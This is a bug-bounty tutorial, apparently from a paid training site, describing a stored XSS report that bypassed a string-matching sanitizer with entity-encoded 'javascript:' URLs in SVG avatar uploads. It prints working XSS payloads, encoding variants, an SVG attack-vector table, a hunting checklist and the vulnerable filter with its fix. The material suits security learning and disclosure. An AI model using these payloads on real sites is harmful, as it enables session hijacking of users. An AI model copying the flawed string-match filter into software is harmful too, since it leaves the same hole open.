Intermediate levelWith accountbounty: €1200

Stored XSS €1200 — sanitizer bypass via SVG href javascript: with entity encoding

Walkthrough of a real €1200 report: stored XSS in POE bypassing a sanitizer fix via SVG with href=`javascript:` and HTML entity encoding over the filtered characters.

Gorka El BochiMay 11, 202612 min

Quick answer

A real €1200 stored XSS report in a POE (Proof-of-Existence) application. The backend's sanitizer had a shallow post-incident fix: it filtered the literal string javascript: but not variants with HTML entity encoding. Final bypass: an embedded SVG with <a href="javascript&#58;alert()"> — the &#58; (entity for :) passes the filter as a string, but the browser decodes it at render time → execution. Lesson: filters based on string matching are weak; serious sanitizers (DOMPurify v3+) parse the DOM and filter at the attribute/protocol level.


The context — a POE app with SVG avatar upload

The app allowed uploading an SVG avatar (vector → scales better than PNG). Sanitization at the backend level with Python's bleach library, with a custom whitelist:

python
allowed_tags = ["svg", "path", "circle", "rect", "polygon", "a", "g"]
allowed_attrs = {"*": ["fill", "stroke", "d", "href", "transform"]}

You were as naive as any dev: if it passes the filter → render directly in <div class="avatar"> with innerHTML. What could go wrong?


First attempt — SVG onload

Obvious payload:

xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle r="40" cx="50" cy="50" fill="red"/>
</svg>

The backend strips onload (it's not in allowed_attrs). Clean render with no XSS.


Second attempt — <script> embedded

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

The backend strips <script> (not in allowed_tags).


Third attempt — <a href="javascript:">

This is where it gets interesting:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <circle r="40" cx="50" cy="50" fill="red"/>
  </a>
</svg>

The backend passed <a> and href (both whitelisted), but detected javascript: and stripped it:

python
def clean_href(value):
    if "javascript:" in value.lower():
        return ""
    return value

A naive string match. Here is the bug in the fix.


The bypass — HTML entity encoding

HTML accepts entity encoding in attributes. : can be written &#58;, &#x3A;, &colon;:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript&#58;alert(document.domain)">
    <circle r="40" cx="50" cy="50" fill="red"/>
  </a>
</svg>

Why it works

  1. Backend sanitizer sees the attribute href="javascript&#58;alert(...)" as a string. It looks for the literal javascript: in lowercase. No match (the character is & # 5 8, not :). It passes the filter.
  2. Browser parses the HTML/SVG. On seeing &#58; inside an HTML attribute, it decodes it to :. The final attribute, internally, is href="javascript:alert(...)".
  3. User clicks the SVG → the browser executes the javascript: URL → XSS in the domain's context.

[!info] Double decoding HTML decoding happens before the attribute value's interpretation. Any filter matching against the raw attribute string is broken if it doesn't decode entities first.

Variants that also passed

xml
<!-- decimal entity -->
href="javascript&#58;alert(1)"

<!-- hex entity -->
href="javascript&#x3A;alert(1)"

<!-- named entity -->
href="javascript&colon;alert(1)"

<!-- tab escape -->
href="java&#9;script:alert(1)"

<!-- newline escape -->
href="java&#10;script:alert(1)"

<!-- case + entity mix -->
href="jaVa&#x53;CRipt:alert(1)"

Any of these passed the filter.

<!-- PAYWALL -->

Why <a> inside SVG works

SVG supports <a> as a hyperlink element (xlink:href in SVG 1.x, href in SVG 2). The <a> wraps a <circle> (or any shape) → the whole region of the shape is clickable. The href URL is processed on click.

xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <a xlink:href="javascript&#58;alert(1)">
    <rect width="100" height="100"/>
  </a>
</svg>

xlink:href is deprecated but browsers still support it → another bypass if the sanitizer only looks for a literal href.

Auto-click vector

SVG <animate> allows auto-triggering actions — combined with <a> + an entity-encoded URL it can be zero-click if the browser allows the animation trigger in a standalone SVG:

xml
<svg>
  <a href="javascript&#58;alert(1)">
    <set attributeName="href" to="..." begin="0s"/>
  </a>
</svg>

In the specific POE app, the avatar renders but doesn't "animate" → the bypass required a manual click from the user. Even so, severity High because it was stored and reproducible for any viewer of the profile.


The report — writing the bypass

The report was concise, focused on the bypass of the fix:

markdown
## Summary
The sanitization fix for prior XSS issue (string-match of `javascript:`)
is bypassable via HTML entity encoding of the colon character.

## Steps to reproduce
1. Upload SVG avatar with content:
   <svg xmlns="http://www.w3.org/2000/svg">
     <a href="javascript&#58;alert(document.domain)">
       <circle r="40" cx="50" cy="50" fill="red"/>
     </a>
   </svg>
2. Server accepts (filter does not detect &#58; as `:`)
3. Visit attacker profile → click avatar → JS executes in target.com origin

## Root cause
sanitizer.py:clean_href() string-matches against `javascript:` in raw input
but HTML entities (&#58; → `:`) decode at render time.

## Recommended fix
Use DOM-based sanitization (DOMPurify, bleach with css_sanitizer) which
parses HTML/SVG and filters at protocol level (rejecting any javascript:
URI scheme regardless of encoding).

Severity argumentation

  • Stored: ✓ (persistent avatar on the profile).
  • Cross-user: ✓ (any viewer of the profile).
  • Auth context: ✓ (victim's cookies on execution).
  • Same-origin: ✓ (avatar served from target.com).

CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N → 8.7 High.

Reward: €1,200.


The correct fix

The security team responded:

python
# Before (vulnerable)
def clean_href(value):
    if "javascript:" in value.lower():
        return ""
    return value

# After (correct)
from urllib.parse import urlparse
import html

def clean_href(value):
    # Decode HTML entities first
    decoded = html.unescape(value)
    
    # Parse URL and check scheme
    try:
        parsed = urlparse(decoded)
        if parsed.scheme.lower() in ("javascript", "data", "vbscript", "file"):
            return ""
    except Exception:
        return ""
    
    return value

Decode entities before comparing + check the parsed scheme against an explicit allowlist.


Generalizable patterns

Any string-match-based filter is bypassable

If the sanitizer does "javascript:" in input, look for:

  • Entity encoding: &#58;, &#x3A;, &colon;
  • URL encoding: %3A (in a URL context)
  • Whitespace tricks: java\tscript:, java\nscript:
  • Case variation: JaVaScRiPt:
  • Backslash escapes (some parsers): \j\a\v\a\s\c\r\i\p\t:

SVG is the gold mine for XSS bypass

SVG is XML embedded in HTML — the parsers sometimes differ. List of abusable elements:

ElementVector
<svg onload>Direct
<svg><script>Embedded JS
<svg><a href="js:">Link-based
<svg><foreignObject><iframe>Embedded HTML
<svg><animate> + animateTransformTime-based
<svg><use href="data:...">xlink data URI

Insufficient whitelist without context

Allowing <a href> looks safe — but href accepts javascript:, data:, file:. The whitelist has to be per-attribute and per-protocol, not per-tag.


Hunting checklist

  • SVG upload endpoints — always try SVG payloads.
  • Sanitizer-based apps: identify which library they use (bleach, DOMPurify, sanitize-html), version + config.
  • String-match filters: bypass with entity encoding, case, whitespace.
  • <a> with href: try javascript:, data:text/html,..., vbscript:.
  • Encoding variants: &#58;, &#x3A;, &colon;, %3A.
  • xlink:href in SVG if they only filter href.
  • Where is the render? innerHTML (XSS) vs <img> (limited) vs sandboxed <iframe> (mitigated).
  • Stored vs reflected: does the SVG persist in the avatar/profile?
  • Auto-trigger possible? <animate>, <set>, onload (if it passes).
  • Document the bypass of the previous fix with emphasis (increases the bounty).

Practice SVG XSS, sanitizer bypass and entity encoding in stored XSS labs.

Practice this in a lab

Stored Xss Svg Href Javascript

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

Los 7 patterns de SVG que bypassean DOMPurify cuando el sanitizer está mal configurado — todos detectables en <30 segundos con Burp.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy